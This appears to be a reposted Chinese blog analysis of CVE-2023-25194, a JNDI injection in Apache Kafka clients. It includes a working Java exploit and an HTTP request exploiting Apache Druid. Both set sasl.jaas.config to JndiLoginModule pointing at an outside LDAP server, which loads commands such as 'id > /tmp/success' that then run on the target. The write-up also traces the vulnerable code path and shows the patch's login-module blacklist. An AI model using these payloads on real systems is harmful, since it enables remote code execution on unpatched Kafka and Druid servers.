devbox
不正经
这个屌丝很懒，什么也没留下！
关注作者
热门标签
热门文章
当前位置:   article > 正文

CVE-2023-25194 Kafka JNDI 注入分析_cve-2023-25194 漏洞原理

作者：不正经 | 2024-05-24 12:10:40

赞

踩

cve-2023-25194 漏洞原理

Apache Kafka Clients Jndi Injection

漏洞描述

Apache Kafka 是一个分布式数据流处理平台，可以实时发布、订阅、存储和处理数据流。Kafka Connect 是一种用于在 kafka 和其他系统之间可扩展、可靠的流式传输数据的工具。攻击者可以利用基于 SASL JAAS 配置和 SASL 协议的任意 Kafka 客户端，对 Kafka Connect worker 创建或修改连接器时，通过构造特殊的配置，进行 JNDI 注入来实现远程代码执行。

影响范围

2.4.0 <= Apache Kafka <= 3.3.2

前置知识

Kafka 是什么

Kafka 是一个开源的分布式消息系统，Kafka 可以处理大量的消息和数据流，具有高吞吐量、低延迟、可扩展性等特点。它被广泛应用于大数据领域，如日志收集、数据传输、流处理等场景。

感觉上和 RocketMQ 很类似，主要功能都是用来进行数据传输的。

Kafka 客户端 SASL JAAS 配置

简单认证与安全层 (SASL, Simple Authentication and Security Layer ) 是一个在网络协议中用来认证和数据加密的构架，在 Kafka 的实际应用当中表现为 JAAS。

Java 认证和授权服务（Java Authentication and Authorization Service，简称 JAAS）是一个 Java 以用户为中心的安全框架，作为 Java 以代码为中心的安全的补充。总结一下就是用于认证。有趣的是 Shiro (JSecurity) 最初被开发出来的原因就是由于当时 JAAS 存在着许多缺点

参考自 https://blog.csdn.net/yinxuep/article/details/103242969 还有一些细微的配置这里不再展开。动态设置和静态修改 .conf 文件实际上效果是一致的。

服务端配置

1、通常在服务器节点下配置服务器 JASS 文件，例如这里我们将其命名为 kafka_server_jaas.conf，内容如下

  1. KafkaServer {
  2.     org.apache.kafka.common.security.plain.PlainLoginModule required
  3.     username="eystar"
  4.     password="eystar8888"
  5.     user_eystar="eystar8888"
  6.     user_yxp="yxp-secret";
  7. };

说明：

username +password 表示 kafka 集群环境各个代理之间进行通信时使用的身份验证信息。

user_eystar="eystar8888" 表示定义客户端连接到代理的用户信息，即创建一个用户名为 eystar，密码为 eystar8888 的用户身份信息，kafka 代理对其进行身份验证，可以创建多个用户，格式 user_XXX=”XXX”

2、如果处于静态使用中，需要将其加入到 JVM 启动参数中，如下

  1. if [ "x$KAFKA_OPTS" ]; then
  2.  
  3.     export KAFKA_OPTS="-Djava.security.auth.login.config=/opt/modules/kafka_2.11-2.0.0/config/kafka_server_jaas.conf"
  4.  
  5. fi

https://kafka.apache.org/documentation/#brokerconfigs_sasl.jaas.config

客户端配置

基本同服务端一致，如下步骤

1、配置客户端 JAAS 文件，命名为 kafka_client_jaas.conf

  1. KafkaClient {
  2.         org.apache.kafka.common.security.plain.PlainLoginModule required
  3.         username="eystar"
  4.         password="eystar8888";
  5. };

2、JAVA 调用的 Kafka Client 客户端连接时指定配置属性 sasl.jaas.config

  1. sasl.jaas.config=org.apache.kafka.common.security.plain.PlainLoginModule required \
  2.     username="eystar" \
  3. password="eystar8888";
  4. // 即配置属性：（后续会讲到也能够动态配置，让我想起了 RocketMQ）
  5. Pro.set(“sasl.jaas.config”,”org.apache.kafka.common.security.plain.PlainLoginModule required username=\"eystar\" password=\"eystar8888\";";
  6. ”);
Kafka 客户端动态修改 JAAS 配置

方式一：配置 Properties 属性，可以注意到这一个字段的键名为 sasl.jaas.config，它的格式如下

loginModuleClass controlFlag (optionName=optionValue)*;

其中的 loginModuleClass 代表认证方式, 例如 LDAP, Kerberos, Unix 认证，可以参考官方文档 https://docs.oracle.com/javase/8/docs/technotes/guides/security/jgss/tutorials/LoginConfigFile.html 其中有一处为 JndiLoginModule，JDK 自带的 loginModule 位于 com.sun.security.auth.module

图片

  1. //安全模式 用户名 密码
  2. props.setProperty("sasl.jaas.config", "org.apache.kafka.common.security.plain.PlainLoginModule required username=\"usn\" password=\"pwd\";");
  3. props.setProperty("security.protocol", "SASL_PLAINTEXT");
  4. props.setProperty("sasl.mechanism", "PLAIN");

方式二：设置系统属性参数

  1. // 指定kafka_client_jaas.conf文件路径 
  2. String confPath = TestKafkaComsumer.class.getResource("/").getPath()+ "/kafka_client_jaas.conf"; 
  3. System.setProperty("java.security.auth.login.config", confPath);
实现代码

消费者

  1. public class TestComsumer {
  2.  
  3.    public static void main(String[] args) {
  4.  
  5.         Properties props = new Properties();
  6.         props.put("bootstrap.servers", "192.168.1.176:9092");
  7.         props.put("group.id", "test_group");
  8.         props.put("enable.auto.commit", "true");
  9.         props.put("auto.commit.interval.ms", "1000");
  10.         props.put("key.deserializer",
  11.                 "org.apache.kafka.common.serialization.StringDeserializer");
  12.         props.put("value.deserializer",
  13.                 "org.apache.kafka.common.serialization.StringDeserializer");
  14.         // sasl.jaas.config的配置
  15.         props.setProperty("sasl.jaas.config", "org.apache.kafka.common.security.plain.PlainLoginModule required username=\"usn\" password=\"pwd\";");
  16.         props.setProperty("security.protocol", "SASL_PLAINTEXT");
  17.         props.setProperty("sasl.mechanism", "PLAIN");
  18.  
  19.         KafkaConsumer<String, String> consumer = new KafkaConsumer<>(props);
  20.         consumer.subscribe(Arrays.asList("topic_name"));
  21.         while (true) {
  22.            try {
  23.                 ConsumerRecords<String, String> records = consumer.poll(Duration
  24.                         .ofMillis(100));
  25.                 for (ConsumerRecord<String, String> record : records)
  26.                     System.out.printf("offset = %d, partition = %d, key = %s, value = %s%n",
  27.                             record.offset(), record.partition(), record.key(), record.value());
  28.           
  29.             } catch (Exception e) {
  30.                 e.printStackTrace();
  31.             }
  32.         }
  33.  
  34.     
  35.     }
  36.  
  37. }

生产者

  1. public class TestProduce {
  2.  
  3.     public static void main(String args[]) {
  4.  
  5.         Properties props = new Properties();
  6.  
  7.         props.put("bootstrap.servers", "192.168.1.176:9092");
  8.         props.put("acks", "1");
  9.         props.put("retries", 3);
  10.         props.put("batch.size", 16384);
  11.         props.put("buffer.memory", 33554432);
  12.         props.put("linger.ms", 10);
  13.         props.put("key.serializer",
  14.                 "org.apache.kafka.common.serialization.StringSerializer");
  15.         props.put("value.serializer",
  16.                 "org.apache.kafka.common.serialization.StringSerializer");
  17.  
  18.         //sasl
  19.         props.setProperty("sasl.jaas.config", "org.apache.kafka.common.security.plain.PlainLoginModule required username=\"usn\" password=\"pwd\";");
  20.         props.setProperty("security.protocol", "SASL_PLAINTEXT");
  21.         props.setProperty("sasl.mechanism", "PLAIN");
  22.  
  23.         Producer<String, String> producer = new KafkaProducer<>(props);
  24.         
  25.        /**
  26.         * ProducerRecord 参数解析 第一个：topic_name为生产者 topic名称,
  27.         * 第二个：对于生产者kafka2.0需要你指定一个key
  28.         * ,在企业应用中，我们一般会把他当做businessId来用，比如订单ID,用户ID等等。 第三个：消息的主要信息
  29.         */
  30.  
  31.         try {
  32.               producer.send(new ProducerRecord<String, String>("topic_name", Integer.toString(i), "message info"));
  33.  
  34.         } catch (InterruptedException e) {
  35.                e.printStackTrace();
  36.         }
  37.  
  38.    }
  39.  
  40. }

漏洞复现

漏洞触发点其实是在 com.sun.security.auth.module.JndiLoginModule#attemptAuthentication 方法处

图片

lookup.png

理顺逻辑很容易构造出 EXP

  1. import org.apache.kafka.clients.consumer.KafkaConsumer;
  2. import org.apache.kafka.clients.producer.KafkaProducer;
  3.  
  4. import java.util.Properties;
  5.  
  6. public class EXP {
  7.     public static void main(String[] args) throws Exception {
  8.         Properties properties = new Properties();
  9.         properties.put("bootstrap.servers", "127.0.0.1:1234");
  10.         properties.put("key.deserializer", "org.apache.kafka.common.serialization.StringDeserializer");
  11.         properties.put("value.deserializer","org.apache.kafka.common.serialization.StringDeserializer");
  12.  
  13.         properties.put("sasl.mechanism", "PLAIN");
  14.         properties.put("security.protocol", "SASL_SSL");
  15.         properties.put("sasl.jaas.config", "com.sun.security.auth.module.JndiLoginModule " +
  16.                 "required " +
  17.                 "user.provider.url=\"ldap://124.222.21.138:1389/Basic/Command/Base64/Q2FsYw==\" " +
  18.                 "useFirstPass=\"true\" " +
  19.                 "group.provider.url=\"xxx\";");
  20.  
  21.         KafkaConsumer<String, String> kafkaConsumer = new KafkaConsumer<>(properties);
  22.         kafkaConsumer.close();
  23.     }
  24. }

图片

漏洞分析

前面有非常多的数据处理与赋值，这里就跳过了，直接看 org.apache.kafka.clients.consumer.KafkaConsumer 类的第 177 行 ClientUtils.createChannelBuilder()，跟进。

图片

继续跟进，这里会先判断 SASL 模式是否开启，只有开启了才会往下跟进到 create() 方法

图片

SASL_SSL.png

跟进 create() 方法，做完客户端的判断和安全协议的判断之后，调用了 loadClientContext() 方法，跟进，发现其中还是加载了一些配置。

图片

跳出来，跟进 ((ChannelBuilder)channelBuilder).configure(configs) 方法，最后跟到 org.apache.kafka.common.security.authenticator.LoginManager 的构造函数。

图片

LoginManager.png

跟进 login() 方法，此处 new LoginContext()，随后调用 login() 方法，跟进

图片

这里会调用 JndiLoginModule 的 initialize() 方法

图片

初始化完成之后，此处调用 JndiLoginModule 的 login() 方法，最后到 JndiLoginModule 的 attemptAuthentication() 方法，完成 Jndi 注入。

图片

漏洞修复

在 3.4.0 版本中, 官方的修复方式是增加了对 JndiLoginModule 的黑名单

org.apache.kafka.common.security.JaasContext#throwIfLoginModuleIsNotAllowed

  1. private static void throwIfLoginModuleIsNotAllowed(AppConfigurationEntry appConfigurationEntry) {
  2.     Set<String> disallowedLoginModuleList = (Set)Arrays.stream(System.getProperty("org.apache.kafka.disallowed.login.modules", "com.sun.security.auth.module.JndiLoginModule").split(",")).map(String::trim).collect(Collectors.toSet());
  3.     String loginModuleName = appConfigurationEntry.getLoginModuleName().trim();
  4.     if (disallowedLoginModuleList.contains(loginModuleName)) {
  5.         throw new IllegalArgumentException(loginModuleName + " is not allowed. Update System property '" + "org.apache.kafka.disallowed.login.modules" + "' to allow " + loginModuleName);
  6.     }
  7. }

Apache Druid RCE via Kafka Clients

影响版本：Apache Druid <= 25.0.0

Apache Druid 是一个实时分析型数据库, 它支持从 Kafka 中导入数据 (Consumer) , 因为目前最新版本的 Apache Druid 25.0.0 所用 kafka-clients 依赖的版本仍然是 3.3.1, 即存在漏洞的版本, 所以如果目标 Druid 存在未授权访问 (默认配置无身份认证), 则可以通过这种方式实现 RCE

有意思的是, Druid 包含了 commons-beanutils:1.9.4 依赖, 所以即使在高版本 JDK 的情况下也能通过 LDAP JNDI 打反序列化 payload 实现 RCE

  • • 漏洞 UI 处触发点：Druid Web Console - Load data - Apache Kafka

在这里可以加载 Kafka 的 Data，其中可以修改配置项 sasl.jaas.config，由此构造 Payload

  1. POST http://124.222.21.138:8888/druid/indexer/v1/sampler?for=connect HTTP/1.1
  2. Host: 124.222.21.138:8888
  3. Content-Length: 916
  4. Accept: application/json, text/plain, */*
  5. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.43
  6. Content-Type: application/json
  7. Origin: http://124.222.21.138:8888
  8. Referer: http://124.222.21.138:8888/unified-console.html
  9. Accept-Encoding: gzip, deflate
  10. Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6,ja;q=0.5,zh-TW;q=0.4,no;q=0.3,ko;q=0.2
  11. Connection: close
  12.  
  13. {"type":"kafka","spec":{"type":"kafka","ioConfig":{"type":"kafka","consumerProperties":{"bootstrap.servers":"127.0.0.1:1234",
  14. "sasl.mechanism":"SCRAM-SHA-256",
  15.                 "security.protocol":"SASL_SSL",
  16.                 "sasl.jaas.config":"com.sun.security.auth.module.JndiLoginModule required user.provider.url=\"ldap://124.222.21.138:1389/Basic/Command/base64/aWQgPiAvdG1wL3N1Y2Nlc3M=\" useFirstPass=\"true\" serviceName=\"x\" debug=\"true\" group.provider.url=\"xxx\";"
  17. },"topic":"123","useEarliestOffset":true,"inputFormat":{"type":"regex","pattern":"([\\s\\S]*)","listDelimiter":"56616469-6de2-9da4-efb8-8f416e6e6965","columns":["raw"]}},"dataSchema":{"dataSource":"sample","timestampSpec":{"column":"!!!_no_such_column_!!!","missingValue":"1970-01-01T00:00:00Z"},"dimensionsSpec":{},"granularitySpec":{"rollup":false}},"tuningConfig":{"type":"kafka"}},"samplerConfig":{"numRows":500,"timeoutMs":15000}}

图片

图片

在 druid-kafka-indexing-service 这个 extension 中可以看到实例化 KafkaConsumer 的过程

图片

而上面第 286 行的 addConsumerPropertiesFromConfig() 正是进行了动态修改配置

Apache Druid 26.0.0 更新了 kafka 依赖的版本

https://github.com/apache/druid/blob/26.0.0/pom.xml#L79

声明：本文内容由网友自发贡献，不代表【wpsshop博客】立场，版权归原作者所有，本站不承担相应法律责任。如您发现有侵权的内容，请联系我们。转载请注明出处：https://www.wpsshop.cn/w/不正经/article/detail/617389
推荐阅读
相关标签

Copyright © 2003-2013 www.wpsshop.cn 版权所有，并保留所有权利。

  

闽ICP备14008679号